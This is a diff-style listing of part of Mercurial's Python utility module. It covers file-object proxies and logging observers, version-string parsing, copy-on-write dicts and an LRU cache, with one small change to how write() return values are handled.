572 # so it can react, log, etc.
572 # so it can react, log, etc.
573 observer = object.__getattribute__(self, r'_observer')
573 observer = object.__getattribute__(self, r'_observer')
574 fn = getattr(observer, name, None)
574 fn = getattr(observer, name, None)
575 if fn:
575 if fn:
576 fn(res, *args, **kwargs)
576 fn(res, *args, **kwargs)
577
577
578 return res
578 return res
579
579
580 def close(self, *args, **kwargs):
580 def close(self, *args, **kwargs):
581 return object.__getattribute__(self, r'_observedcall')(
581 return object.__getattribute__(self, r'_observedcall')(
582 r'close', *args, **kwargs)
582 r'close', *args, **kwargs)
583
583
584 def fileno(self, *args, **kwargs):
584 def fileno(self, *args, **kwargs):
585 return object.__getattribute__(self, r'_observedcall')(
585 return object.__getattribute__(self, r'_observedcall')(
586 r'fileno', *args, **kwargs)
586 r'fileno', *args, **kwargs)
587
587
588 def flush(self, *args, **kwargs):
588 def flush(self, *args, **kwargs):
589 return object.__getattribute__(self, r'_observedcall')(
589 return object.__getattribute__(self, r'_observedcall')(
590 r'flush', *args, **kwargs)
590 r'flush', *args, **kwargs)
591
591
592 def isatty(self, *args, **kwargs):
592 def isatty(self, *args, **kwargs):
593 return object.__getattribute__(self, r'_observedcall')(
593 return object.__getattribute__(self, r'_observedcall')(
594 r'isatty', *args, **kwargs)
594 r'isatty', *args, **kwargs)
595
595
596 def readable(self, *args, **kwargs):
596 def readable(self, *args, **kwargs):
597 return object.__getattribute__(self, r'_observedcall')(
597 return object.__getattribute__(self, r'_observedcall')(
598 r'readable', *args, **kwargs)
598 r'readable', *args, **kwargs)
599
599
600 def readline(self, *args, **kwargs):
600 def readline(self, *args, **kwargs):
601 return object.__getattribute__(self, r'_observedcall')(
601 return object.__getattribute__(self, r'_observedcall')(
602 r'readline', *args, **kwargs)
602 r'readline', *args, **kwargs)
603
603
604 def readlines(self, *args, **kwargs):
604 def readlines(self, *args, **kwargs):
605 return object.__getattribute__(self, r'_observedcall')(
605 return object.__getattribute__(self, r'_observedcall')(
606 r'readlines', *args, **kwargs)
606 r'readlines', *args, **kwargs)
607
607
608 def seek(self, *args, **kwargs):
608 def seek(self, *args, **kwargs):
609 return object.__getattribute__(self, r'_observedcall')(
609 return object.__getattribute__(self, r'_observedcall')(
610 r'seek', *args, **kwargs)
610 r'seek', *args, **kwargs)
611
611
612 def seekable(self, *args, **kwargs):
612 def seekable(self, *args, **kwargs):
613 return object.__getattribute__(self, r'_observedcall')(
613 return object.__getattribute__(self, r'_observedcall')(
614 r'seekable', *args, **kwargs)
614 r'seekable', *args, **kwargs)
615
615
616 def tell(self, *args, **kwargs):
616 def tell(self, *args, **kwargs):
617 return object.__getattribute__(self, r'_observedcall')(
617 return object.__getattribute__(self, r'_observedcall')(
618 r'tell', *args, **kwargs)
618 r'tell', *args, **kwargs)
619
619
620 def truncate(self, *args, **kwargs):
620 def truncate(self, *args, **kwargs):
621 return object.__getattribute__(self, r'_observedcall')(
621 return object.__getattribute__(self, r'_observedcall')(
622 r'truncate', *args, **kwargs)
622 r'truncate', *args, **kwargs)
623
623
624 def writable(self, *args, **kwargs):
624 def writable(self, *args, **kwargs):
625 return object.__getattribute__(self, r'_observedcall')(
625 return object.__getattribute__(self, r'_observedcall')(
626 r'writable', *args, **kwargs)
626 r'writable', *args, **kwargs)
627
627
628 def writelines(self, *args, **kwargs):
628 def writelines(self, *args, **kwargs):
629 return object.__getattribute__(self, r'_observedcall')(
629 return object.__getattribute__(self, r'_observedcall')(
630 r'writelines', *args, **kwargs)
630 r'writelines', *args, **kwargs)
631
631
632 def read(self, *args, **kwargs):
632 def read(self, *args, **kwargs):
633 return object.__getattribute__(self, r'_observedcall')(
633 return object.__getattribute__(self, r'_observedcall')(
634 r'read', *args, **kwargs)
634 r'read', *args, **kwargs)
635
635
636 def readall(self, *args, **kwargs):
636 def readall(self, *args, **kwargs):
637 return object.__getattribute__(self, r'_observedcall')(
637 return object.__getattribute__(self, r'_observedcall')(
638 r'readall', *args, **kwargs)
638 r'readall', *args, **kwargs)
639
639
640 def readinto(self, *args, **kwargs):
640 def readinto(self, *args, **kwargs):
641 return object.__getattribute__(self, r'_observedcall')(
641 return object.__getattribute__(self, r'_observedcall')(
642 r'readinto', *args, **kwargs)
642 r'readinto', *args, **kwargs)
643
643
644 def write(self, *args, **kwargs):
644 def write(self, *args, **kwargs):
645 return object.__getattribute__(self, r'_observedcall')(
645 return object.__getattribute__(self, r'_observedcall')(
646 r'write', *args, **kwargs)
646 r'write', *args, **kwargs)
647
647
648 def detach(self, *args, **kwargs):
648 def detach(self, *args, **kwargs):
649 return object.__getattribute__(self, r'_observedcall')(
649 return object.__getattribute__(self, r'_observedcall')(
650 r'detach', *args, **kwargs)
650 r'detach', *args, **kwargs)
651
651
652 def read1(self, *args, **kwargs):
652 def read1(self, *args, **kwargs):
653 return object.__getattribute__(self, r'_observedcall')(
653 return object.__getattribute__(self, r'_observedcall')(
654 r'read1', *args, **kwargs)
654 r'read1', *args, **kwargs)
655
655
656 class observedbufferedinputpipe(bufferedinputpipe):
656 class observedbufferedinputpipe(bufferedinputpipe):
657 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
657 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
658
658
659 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
659 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
660 bypass ``fileobjectproxy``. Because of this, we need to make
660 bypass ``fileobjectproxy``. Because of this, we need to make
661 ``bufferedinputpipe`` aware of these operations.
661 ``bufferedinputpipe`` aware of these operations.
662
662
663 This variation of ``bufferedinputpipe`` can notify observers about
663 This variation of ``bufferedinputpipe`` can notify observers about
664 ``os.read()`` events. It also re-publishes other events, such as
664 ``os.read()`` events. It also re-publishes other events, such as
665 ``read()`` and ``readline()``.
665 ``read()`` and ``readline()``.
666 """
666 """
667 def _fillbuffer(self):
667 def _fillbuffer(self):
668 res = super(observedbufferedinputpipe, self)._fillbuffer()
668 res = super(observedbufferedinputpipe, self)._fillbuffer()
669
669
670 fn = getattr(self._input._observer, r'osread', None)
670 fn = getattr(self._input._observer, r'osread', None)
671 if fn:
671 if fn:
672 fn(res, _chunksize)
672 fn(res, _chunksize)
673
673
674 return res
674 return res
675
675
676 # We use different observer methods because the operation isn't
676 # We use different observer methods because the operation isn't
677 # performed on the actual file object but on us.
677 # performed on the actual file object but on us.
678 def read(self, size):
678 def read(self, size):
679 res = super(observedbufferedinputpipe, self).read(size)
679 res = super(observedbufferedinputpipe, self).read(size)
680
680
681 fn = getattr(self._input._observer, r'bufferedread', None)
681 fn = getattr(self._input._observer, r'bufferedread', None)
682 if fn:
682 if fn:
683 fn(res, size)
683 fn(res, size)
684
684
685 return res
685 return res
686
686
687 def readline(self, *args, **kwargs):
687 def readline(self, *args, **kwargs):
688 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
688 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
689
689
690 fn = getattr(self._input._observer, r'bufferedreadline', None)
690 fn = getattr(self._input._observer, r'bufferedreadline', None)
691 if fn:
691 if fn:
692 fn(res)
692 fn(res)
693
693
694 return res
694 return res
695
695
696 DATA_ESCAPE_MAP = {pycompat.bytechr(i): br'\x%02x' % i for i in range(256)}
696 DATA_ESCAPE_MAP = {pycompat.bytechr(i): br'\x%02x' % i for i in range(256)}
697 DATA_ESCAPE_MAP.update({
697 DATA_ESCAPE_MAP.update({
698 b'\\': b'\\\\',
698 b'\\': b'\\\\',
699 b'\r': br'\r',
699 b'\r': br'\r',
700 b'\n': br'\n',
700 b'\n': br'\n',
701 })
701 })
702 DATA_ESCAPE_RE = remod.compile(br'[\x00-\x08\x0a-\x1f\\\x7f-\xff]')
702 DATA_ESCAPE_RE = remod.compile(br'[\x00-\x08\x0a-\x1f\\\x7f-\xff]')
703
703
704 def escapedata(s):
704 def escapedata(s):
705 if isinstance(s, bytearray):
705 if isinstance(s, bytearray):
706 s = bytes(s)
706 s = bytes(s)
707
707
708 return DATA_ESCAPE_RE.sub(lambda m: DATA_ESCAPE_MAP[m.group(0)], s)
708 return DATA_ESCAPE_RE.sub(lambda m: DATA_ESCAPE_MAP[m.group(0)], s)
709
709
710 class fileobjectobserver(object):
710 class fileobjectobserver(object):
711 """Logs file object activity."""
711 """Logs file object activity."""
712 def __init__(self, fh, name, reads=True, writes=True, logdata=False):
712 def __init__(self, fh, name, reads=True, writes=True, logdata=False):
713 self.fh = fh
713 self.fh = fh
714 self.name = name
714 self.name = name
715 self.logdata = logdata
715 self.logdata = logdata
716 self.reads = reads
716 self.reads = reads
717 self.writes = writes
717 self.writes = writes
718
718
719 def _writedata(self, data):
719 def _writedata(self, data):
720 if not self.logdata:
720 if not self.logdata:
721 self.fh.write('\n')
721 self.fh.write('\n')
722 return
722 return
723
723
724 # Simple case writes all data on a single line.
724 # Simple case writes all data on a single line.
725 if b'\n' not in data:
725 if b'\n' not in data:
726 self.fh.write(': %s\n' % escapedata(data))
726 self.fh.write(': %s\n' % escapedata(data))
727 return
727 return
728
728
729 # Data with newlines is written to multiple lines.
729 # Data with newlines is written to multiple lines.
730 self.fh.write(':\n')
730 self.fh.write(':\n')
731 lines = data.splitlines(True)
731 lines = data.splitlines(True)
732 for line in lines:
732 for line in lines:
733 self.fh.write('%s> %s\n' % (self.name, escapedata(line)))
733 self.fh.write('%s> %s\n' % (self.name, escapedata(line)))
734
734
735 def read(self, res, size=-1):
735 def read(self, res, size=-1):
736 if not self.reads:
736 if not self.reads:
737 return
737 return
738 # Python 3 can return None from reads at EOF instead of empty strings.
738 # Python 3 can return None from reads at EOF instead of empty strings.
739 if res is None:
739 if res is None:
740 res = ''
740 res = ''
741
741
742 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
742 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
743 self._writedata(res)
743 self._writedata(res)
744
744
745 def readline(self, res, limit=-1):
745 def readline(self, res, limit=-1):
746 if not self.reads:
746 if not self.reads:
747 return
747 return
748
748
749 self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
749 self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
750 self._writedata(res)
750 self._writedata(res)
751
751
752 def readinto(self, res, dest):
752 def readinto(self, res, dest):
753 if not self.reads:
753 if not self.reads:
754 return
754 return
755
755
756 self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
756 self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
757 res))
757 res))
758 data = dest[0:res] if res is not None else b''
758 data = dest[0:res] if res is not None else b''
759 self._writedata(data)
759 self._writedata(data)
760
760
761 def write(self, res, data):
761 def write(self, res, data):
762 if not self.writes:
762 if not self.writes:
763 return
763 return
764
764
765 # Python 2 returns None from some write() calls. Python 3 (reasonably)
766 # returns the integer bytes written.
767 if res is None and data:
768 res = len(data)
769
765 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
770 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
766 self._writedata(data)
771 self._writedata(data)
767
772
768 def flush(self, res):
773 def flush(self, res):
769 if not self.writes:
774 if not self.writes:
770 return
775 return
771
776
772 self.fh.write('%s> flush() -> %r\n' % (self.name, res))
777 self.fh.write('%s> flush() -> %r\n' % (self.name, res))
773
778
774 # For observedbufferedinputpipe.
779 # For observedbufferedinputpipe.
775 def bufferedread(self, res, size):
780 def bufferedread(self, res, size):
776 self.fh.write('%s> bufferedread(%d) -> %d' % (
781 self.fh.write('%s> bufferedread(%d) -> %d' % (
777 self.name, size, len(res)))
782 self.name, size, len(res)))
778 self._writedata(res)
783 self._writedata(res)
779
784
780 def bufferedreadline(self, res):
785 def bufferedreadline(self, res):
781 self.fh.write('%s> bufferedreadline() -> %d' % (self.name, len(res)))
786 self.fh.write('%s> bufferedreadline() -> %d' % (self.name, len(res)))
782 self._writedata(res)
787 self._writedata(res)
783
788
784 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
789 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
785 logdata=False):
790 logdata=False):
786 """Turn a file object into a logging file object."""
791 """Turn a file object into a logging file object."""
787
792
788 observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
793 observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
789 logdata=logdata)
794 logdata=logdata)
790 return fileobjectproxy(fh, observer)
795 return fileobjectproxy(fh, observer)
791
796
792 def version():
797 def version():
793 """Return version information if available."""
798 """Return version information if available."""
794 try:
799 try:
795 from . import __version__
800 from . import __version__
796 return __version__.version
801 return __version__.version
797 except ImportError:
802 except ImportError:
798 return 'unknown'
803 return 'unknown'
799
804
800 def versiontuple(v=None, n=4):
805 def versiontuple(v=None, n=4):
801 """Parses a Mercurial version string into an N-tuple.
806 """Parses a Mercurial version string into an N-tuple.
802
807
803 The version string to be parsed is specified with the ``v`` argument.
808 The version string to be parsed is specified with the ``v`` argument.
804 If it isn't defined, the current Mercurial version string will be parsed.
809 If it isn't defined, the current Mercurial version string will be parsed.
805
810
806 ``n`` can be 2, 3, or 4. Here is how some version strings map to
811 ``n`` can be 2, 3, or 4. Here is how some version strings map to
807 returned values:
812 returned values:
808
813
809 >>> v = b'3.6.1+190-df9b73d2d444'
814 >>> v = b'3.6.1+190-df9b73d2d444'
810 >>> versiontuple(v, 2)
815 >>> versiontuple(v, 2)
811 (3, 6)
816 (3, 6)
812 >>> versiontuple(v, 3)
817 >>> versiontuple(v, 3)
813 (3, 6, 1)
818 (3, 6, 1)
814 >>> versiontuple(v, 4)
819 >>> versiontuple(v, 4)
815 (3, 6, 1, '190-df9b73d2d444')
820 (3, 6, 1, '190-df9b73d2d444')
816
821
817 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
822 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
818 (3, 6, 1, '190-df9b73d2d444+20151118')
823 (3, 6, 1, '190-df9b73d2d444+20151118')
819
824
820 >>> v = b'3.6'
825 >>> v = b'3.6'
821 >>> versiontuple(v, 2)
826 >>> versiontuple(v, 2)
822 (3, 6)
827 (3, 6)
823 >>> versiontuple(v, 3)
828 >>> versiontuple(v, 3)
824 (3, 6, None)
829 (3, 6, None)
825 >>> versiontuple(v, 4)
830 >>> versiontuple(v, 4)
826 (3, 6, None, None)
831 (3, 6, None, None)
827
832
828 >>> v = b'3.9-rc'
833 >>> v = b'3.9-rc'
829 >>> versiontuple(v, 2)
834 >>> versiontuple(v, 2)
830 (3, 9)
835 (3, 9)
831 >>> versiontuple(v, 3)
836 >>> versiontuple(v, 3)
832 (3, 9, None)
837 (3, 9, None)
833 >>> versiontuple(v, 4)
838 >>> versiontuple(v, 4)
834 (3, 9, None, 'rc')
839 (3, 9, None, 'rc')
835
840
836 >>> v = b'3.9-rc+2-02a8fea4289b'
841 >>> v = b'3.9-rc+2-02a8fea4289b'
837 >>> versiontuple(v, 2)
842 >>> versiontuple(v, 2)
838 (3, 9)
843 (3, 9)
839 >>> versiontuple(v, 3)
844 >>> versiontuple(v, 3)
840 (3, 9, None)
845 (3, 9, None)
841 >>> versiontuple(v, 4)
846 >>> versiontuple(v, 4)
842 (3, 9, None, 'rc+2-02a8fea4289b')
847 (3, 9, None, 'rc+2-02a8fea4289b')
843 """
848 """
844 if not v:
849 if not v:
845 v = version()
850 v = version()
846 parts = remod.split('[\+-]', v, 1)
851 parts = remod.split('[\+-]', v, 1)
847 if len(parts) == 1:
852 if len(parts) == 1:
848 vparts, extra = parts[0], None
853 vparts, extra = parts[0], None
849 else:
854 else:
850 vparts, extra = parts
855 vparts, extra = parts
851
856
852 vints = []
857 vints = []
853 for i in vparts.split('.'):
858 for i in vparts.split('.'):
854 try:
859 try:
855 vints.append(int(i))
860 vints.append(int(i))
856 except ValueError:
861 except ValueError:
857 break
862 break
858 # (3, 6) -> (3, 6, None)
863 # (3, 6) -> (3, 6, None)
859 while len(vints) < 3:
864 while len(vints) < 3:
860 vints.append(None)
865 vints.append(None)
861
866
862 if n == 2:
867 if n == 2:
863 return (vints[0], vints[1])
868 return (vints[0], vints[1])
864 if n == 3:
869 if n == 3:
865 return (vints[0], vints[1], vints[2])
870 return (vints[0], vints[1], vints[2])
866 if n == 4:
871 if n == 4:
867 return (vints[0], vints[1], vints[2], extra)
872 return (vints[0], vints[1], vints[2], extra)
868
873
869 def cachefunc(func):
874 def cachefunc(func):
870 '''cache the result of function calls'''
875 '''cache the result of function calls'''
871 # XXX doesn't handle keywords args
876 # XXX doesn't handle keywords args
872 if func.__code__.co_argcount == 0:
877 if func.__code__.co_argcount == 0:
873 cache = []
878 cache = []
874 def f():
879 def f():
875 if len(cache) == 0:
880 if len(cache) == 0:
876 cache.append(func())
881 cache.append(func())
877 return cache[0]
882 return cache[0]
878 return f
883 return f
879 cache = {}
884 cache = {}
880 if func.__code__.co_argcount == 1:
885 if func.__code__.co_argcount == 1:
881 # we gain a small amount of time because
886 # we gain a small amount of time because
882 # we don't need to pack/unpack the list
887 # we don't need to pack/unpack the list
883 def f(arg):
888 def f(arg):
884 if arg not in cache:
889 if arg not in cache:
885 cache[arg] = func(arg)
890 cache[arg] = func(arg)
886 return cache[arg]
891 return cache[arg]
887 else:
892 else:
888 def f(*args):
893 def f(*args):
889 if args not in cache:
894 if args not in cache:
890 cache[args] = func(*args)
895 cache[args] = func(*args)
891 return cache[args]
896 return cache[args]
892
897
893 return f
898 return f
894
899
895 class cow(object):
900 class cow(object):
896 """helper class to make copy-on-write easier
901 """helper class to make copy-on-write easier
897
902
898 Call preparewrite before doing any writes.
903 Call preparewrite before doing any writes.
899 """
904 """
900
905
901 def preparewrite(self):
906 def preparewrite(self):
902 """call this before writes, return self or a copied new object"""
907 """call this before writes, return self or a copied new object"""
903 if getattr(self, '_copied', 0):
908 if getattr(self, '_copied', 0):
904 self._copied -= 1
909 self._copied -= 1
905 return self.__class__(self)
910 return self.__class__(self)
906 return self
911 return self
907
912
908 def copy(self):
913 def copy(self):
909 """always do a cheap copy"""
914 """always do a cheap copy"""
910 self._copied = getattr(self, '_copied', 0) + 1
915 self._copied = getattr(self, '_copied', 0) + 1
911 return self
916 return self
912
917
913 class sortdict(collections.OrderedDict):
918 class sortdict(collections.OrderedDict):
914 '''a simple sorted dictionary
919 '''a simple sorted dictionary
915
920
916 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
921 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
917 >>> d2 = d1.copy()
922 >>> d2 = d1.copy()
918 >>> d2
923 >>> d2
919 sortdict([('a', 0), ('b', 1)])
924 sortdict([('a', 0), ('b', 1)])
920 >>> d2.update([(b'a', 2)])
925 >>> d2.update([(b'a', 2)])
921 >>> list(d2.keys()) # should still be in last-set order
926 >>> list(d2.keys()) # should still be in last-set order
922 ['b', 'a']
927 ['b', 'a']
923 '''
928 '''
924
929
925 def __setitem__(self, key, value):
930 def __setitem__(self, key, value):
926 if key in self:
931 if key in self:
927 del self[key]
932 del self[key]
928 super(sortdict, self).__setitem__(key, value)
933 super(sortdict, self).__setitem__(key, value)
929
934
930 if pycompat.ispypy:
935 if pycompat.ispypy:
931 # __setitem__() isn't called as of PyPy 5.8.0
936 # __setitem__() isn't called as of PyPy 5.8.0
932 def update(self, src):
937 def update(self, src):
933 if isinstance(src, dict):
938 if isinstance(src, dict):
934 src = src.iteritems()
939 src = src.iteritems()
935 for k, v in src:
940 for k, v in src:
936 self[k] = v
941 self[k] = v
937
942
938 class cowdict(cow, dict):
943 class cowdict(cow, dict):
939 """copy-on-write dict
944 """copy-on-write dict
940
945
941 Be sure to call d = d.preparewrite() before writing to d.
946 Be sure to call d = d.preparewrite() before writing to d.
942
947
943 >>> a = cowdict()
948 >>> a = cowdict()
944 >>> a is a.preparewrite()
949 >>> a is a.preparewrite()
945 True
950 True
946 >>> b = a.copy()
951 >>> b = a.copy()
947 >>> b is a
952 >>> b is a
948 True
953 True
949 >>> c = b.copy()
954 >>> c = b.copy()
950 >>> c is a
955 >>> c is a
951 True
956 True
952 >>> a = a.preparewrite()
957 >>> a = a.preparewrite()
953 >>> b is a
958 >>> b is a
954 False
959 False
955 >>> a is a.preparewrite()
960 >>> a is a.preparewrite()
956 True
961 True
957 >>> c = c.preparewrite()
962 >>> c = c.preparewrite()
958 >>> b is c
963 >>> b is c
959 False
964 False
960 >>> b is b.preparewrite()
965 >>> b is b.preparewrite()
961 True
966 True
962 """
967 """
963
968
964 class cowsortdict(cow, sortdict):
969 class cowsortdict(cow, sortdict):
965 """copy-on-write sortdict
970 """copy-on-write sortdict
966
971
967 Be sure to call d = d.preparewrite() before writing to d.
972 Be sure to call d = d.preparewrite() before writing to d.
968 """
973 """
969
974
970 class transactional(object):
975 class transactional(object):
971 """Base class for making a transactional type into a context manager."""
976 """Base class for making a transactional type into a context manager."""
972 __metaclass__ = abc.ABCMeta
977 __metaclass__ = abc.ABCMeta
973
978
974 @abc.abstractmethod
979 @abc.abstractmethod
975 def close(self):
980 def close(self):
976 """Successfully closes the transaction."""
981 """Successfully closes the transaction."""
977
982
978 @abc.abstractmethod
983 @abc.abstractmethod
979 def release(self):
984 def release(self):
980 """Marks the end of the transaction.
985 """Marks the end of the transaction.
981
986
982 If the transaction has not been closed, it will be aborted.
987 If the transaction has not been closed, it will be aborted.
983 """
988 """
984
989
985 def __enter__(self):
990 def __enter__(self):
986 return self
991 return self
987
992
988 def __exit__(self, exc_type, exc_val, exc_tb):
993 def __exit__(self, exc_type, exc_val, exc_tb):
989 try:
994 try:
990 if exc_type is None:
995 if exc_type is None:
991 self.close()
996 self.close()
992 finally:
997 finally:
993 self.release()
998 self.release()
994
999
995 @contextlib.contextmanager
1000 @contextlib.contextmanager
996 def acceptintervention(tr=None):
1001 def acceptintervention(tr=None):
997 """A context manager that closes the transaction on InterventionRequired
1002 """A context manager that closes the transaction on InterventionRequired
998
1003
999 If no transaction was provided, this simply runs the body and returns
1004 If no transaction was provided, this simply runs the body and returns
1000 """
1005 """
1001 if not tr:
1006 if not tr:
1002 yield
1007 yield
1003 return
1008 return
1004 try:
1009 try:
1005 yield
1010 yield
1006 tr.close()
1011 tr.close()
1007 except error.InterventionRequired:
1012 except error.InterventionRequired:
1008 tr.close()
1013 tr.close()
1009 raise
1014 raise
1010 finally:
1015 finally:
1011 tr.release()
1016 tr.release()
1012
1017
1013 @contextlib.contextmanager
1018 @contextlib.contextmanager
1014 def nullcontextmanager():
1019 def nullcontextmanager():
1015 yield
1020 yield
1016
1021
1017 class _lrucachenode(object):
1022 class _lrucachenode(object):
1018 """A node in a doubly linked list.
1023 """A node in a doubly linked list.
1019
1024
1020 Holds a reference to nodes on either side as well as a key-value
1025 Holds a reference to nodes on either side as well as a key-value
1021 pair for the dictionary entry.
1026 pair for the dictionary entry.
1022 """
1027 """
1023 __slots__ = (u'next', u'prev', u'key', u'value')
1028 __slots__ = (u'next', u'prev', u'key', u'value')
1024
1029
1025 def __init__(self):
1030 def __init__(self):
1026 self.next = None
1031 self.next = None
1027 self.prev = None
1032 self.prev = None
1028
1033
1029 self.key = _notset
1034 self.key = _notset
1030 self.value = None
1035 self.value = None
1031
1036
1032 def markempty(self):
1037 def markempty(self):
1033 """Mark the node as emptied."""
1038 """Mark the node as emptied."""
1034 self.key = _notset
1039 self.key = _notset
1035
1040
1036 class lrucachedict(object):
1041 class lrucachedict(object):
1037 """Dict that caches most recent accesses and sets.
1042 """Dict that caches most recent accesses and sets.
1038
1043
1039 The dict consists of an actual backing dict - indexed by original
1044 The dict consists of an actual backing dict - indexed by original
1040 key - and a doubly linked circular list defining the order of entries in
1045 key - and a doubly linked circular list defining the order of entries in
1041 the cache.
1046 the cache.
1042
1047
1043 The head node is the newest entry in the cache. If the cache is full,
1048 The head node is the newest entry in the cache. If the cache is full,
1044 we recycle head.prev and make it the new head. Cache accesses result in
1049 we recycle head.prev and make it the new head. Cache accesses result in
1045 the node being moved to before the existing head and being marked as the
1050 the node being moved to before the existing head and being marked as the
1046 new head node.
1051 new head node.
1047 """
1052 """
1048 def __init__(self, max):
1053 def __init__(self, max):
1049 self._cache = {}
1054 self._cache = {}
1050
1055
1051 self._head = head = _lrucachenode()
1056 self._head = head = _lrucachenode()
1052 head.prev = head
1057 head.prev = head
1053 head.next = head
1058 head.next = head
1054 self._size = 1
1059 self._size = 1
1055 self._capacity = max
1060 self._capacity = max
1056
1061
1057 def __len__(self):
1062 def __len__(self):
1058 return len(self._cache)
1063 return len(self._cache)
1059
1064
1060 def __contains__(self, k):
1065 def __contains__(self, k):
1061 return k in self._cache
1066 return k in self._cache
1062
1067
1063 def __iter__(self):
1068 def __iter__(self):
1064 # We don't have to iterate in cache order, but why not.
1069 # We don't have to iterate in cache order, but why not.
1065 n = self._head
1070 n = self._head
1066 for i in range(len(self._cache)):
1071 for i in range(len(self._cache)):
1067 yield n.key
1072 yield n.key
1068 n = n.next
1073 n = n.next
1069
1074
1070 def __getitem__(self, k):
1075 def __getitem__(self, k):
1071 node = self._cache[k]
1076 node = self._cache[k]
1072 self._movetohead(node)
1077 self._movetohead(node)
1073 return node.value
1078 return node.value
1074
1079
1075 def __setitem__(self, k, v):
1080 def __setitem__(self, k, v):
1076 node = self._cache.get(k)
1081 node = self._cache.get(k)
1077 # Replace existing value and mark as newest.
1082 # Replace existing value and mark as newest.
1078 if node is not None:
1083 if node is not None:
1079 node.value = v
1084 node.value = v
1080 self._movetohead(node)
1085 self._movetohead(node)
1081 return
1086 return
1082
1087
1083 if self._size < self._capacity:
1088 if self._size < self._capacity:
1084 node = self._addcapacity()
1089 node = self._addcapacity()
1085 else:
1090 else:
1086 # Grab the last/oldest item.
1091 # Grab the last/oldest item.
1087 node = self._head.prev
1092 node = self._head.prev
1088
1093
1089 # At capacity. Kill the old entry.
1094 # At capacity. Kill the old entry.
1090 if node.key is not _notset:
1095 if node.key is not _notset:
1091 del self._cache[node.key]
1096 del self._cache[node.key]
1092
1097
1093 node.key = k
1098 node.key = k
1094 node.value = v
1099 node.value = v
1095 self._cache[k] = node
1100 self._cache[k] = node
1096 # And mark it as newest entry. No need to adjust order since it
1101 # And mark it as newest entry. No need to adjust order since it
1097 # is already self._head.prev.
1102 # is already self._head.prev.
1098 self._head = node
1103 self._head = node
1099
1104
1100 def __delitem__(self, k):
1105 def __delitem__(self, k):
1101 node = self._cache.pop(k)
1106 node = self._cache.pop(k)
1102 node.markempty()
1107 node.markempty()
1103
1108
1104 # Temporarily mark as newest item before re-adjusting head to make
1109 # Temporarily mark as newest item before re-adjusting head to make
1105 # this node the oldest item.
1110 # this node the oldest item.
1106 self._movetohead(node)
1111 self._movetohead(node)
1107 self._head = node.next
1112 self._head = node.next
1108
1113
1109 # Additional dict methods.
1114 # Additional dict methods.
1110
1115
1111 def get(self, k, default=None):
1116 def get(self, k, default=None):
1112 try:
1117 try:
1113 return self._cache[k].value
1118 return self._cache[k].value
1114 except KeyError:
1119 except KeyError:
1115 return default
1120 return default
1116
1121
1117 def clear(self):
1122 def clear(self):
1118 n = self._head
1123 n = self._head
1119 while n.key is not _notset:
1124 while n.key is not _notset:
1120 n.markempty()
1125 n.markempty()
1121 n = n.next
1126 n = n.next
1122
1127
1123 self._cache.clear()
1128 self._cache.clear()
1124
1129
1125 def copy(self):
1130 def copy(self):
1126 result = lrucachedict(self._capacity)
1131 result = lrucachedict(self._capacity)
1127 n = self._head.prev
1132 n = self._head.prev
1128 # Iterate in oldest-to-newest order, so the copy has the right ordering
1133 # Iterate in oldest-to-newest order, so the copy has the right ordering
1129 for i in range(len(self._cache)):
1134 for i in range(len(self._cache)):
1130 result[n.key] = n.value
1135 result[n.key] = n.value
1131 n = n.prev
1136 n = n.prev
1132 return result
1137 return result
1133
1138
1134 def _movetohead(self, node):
1139 def _movetohead(self, node):
1135 """Mark a node as the newest, making it the new head.
1140 """Mark a node as the newest, making it the new head.
1136
1141
1137 When a node is accessed, it becomes the freshest entry in the LRU
1142 When a node is accessed, it becomes the freshest entry in the LRU
1138 list, which is denoted by self._head.
1143 list, which is denoted by self._head.
1139
1144
1140 Visually, let's make ``N`` the new head node (* denotes head):
1145 Visually, let's make ``N`` the new head node (* denotes head):
1141
1146
1142 previous/oldest <-> head <-> next/next newest
1147 previous/oldest <-> head <-> next/next newest
1143
1148
1144 ----<->--- A* ---<->-----
1149 ----<->--- A* ---<->-----
1145 | |
1150 | |
1146 E <-> D <-> N <-> C <-> B
1151 E <-> D <-> N <-> C <-> B
1147
1152
1148 To:
1153 To:
1149
1154
1150 ----<->--- N* ---<->-----
1155 ----<->--- N* ---<->-----
1151 | |
1156 | |
1152 E <-> D <-> C <-> B <-> A
1157 E <-> D <-> C <-> B <-> A
1153
1158
1154 This requires the following moves:
1159 This requires the following moves:
1155
1160
1156 C.next = D (node.prev.next = node.next)
1161 C.next = D (node.prev.next = node.next)
1157 D.prev = C (node.next.prev = node.prev)
1162 D.prev = C (node.next.prev = node.prev)
1158 E.next = N (head.prev.next = node)
1163 E.next = N (head.prev.next = node)
1159 N.prev = E (node.prev = head.prev)
1164 N.prev = E (node.prev = head.prev)
1160 N.next = A (node.next = head)
1165 N.next = A (node.next = head)
1161 A.prev = N (head.prev = node)
1166 A.prev = N (head.prev = node)
1162 """
1167 """
1163 head = self._head
1168 head = self._head
1164 # C.next = D
1169 # C.next = D
1165 node.prev.next = node.next
1170 node.prev.next = node.next
1166 # D.prev = C
1171 # D.prev = C
1167 node.next.prev = node.prev
1172 node.next.prev = node.prev
1168 # N.prev = E
1173 # N.prev = E
1169 node.prev = head.prev
1174 node.prev = head.prev
1170 # N.next = A
1175 # N.next = A
1171 # It is tempting to do just "head" here, however if node is
1176 # It is tempting to do just "head" here, however if node is
1172 # adjacent to head, this will do bad things.
1177 # adjacent to head, this will do bad things.
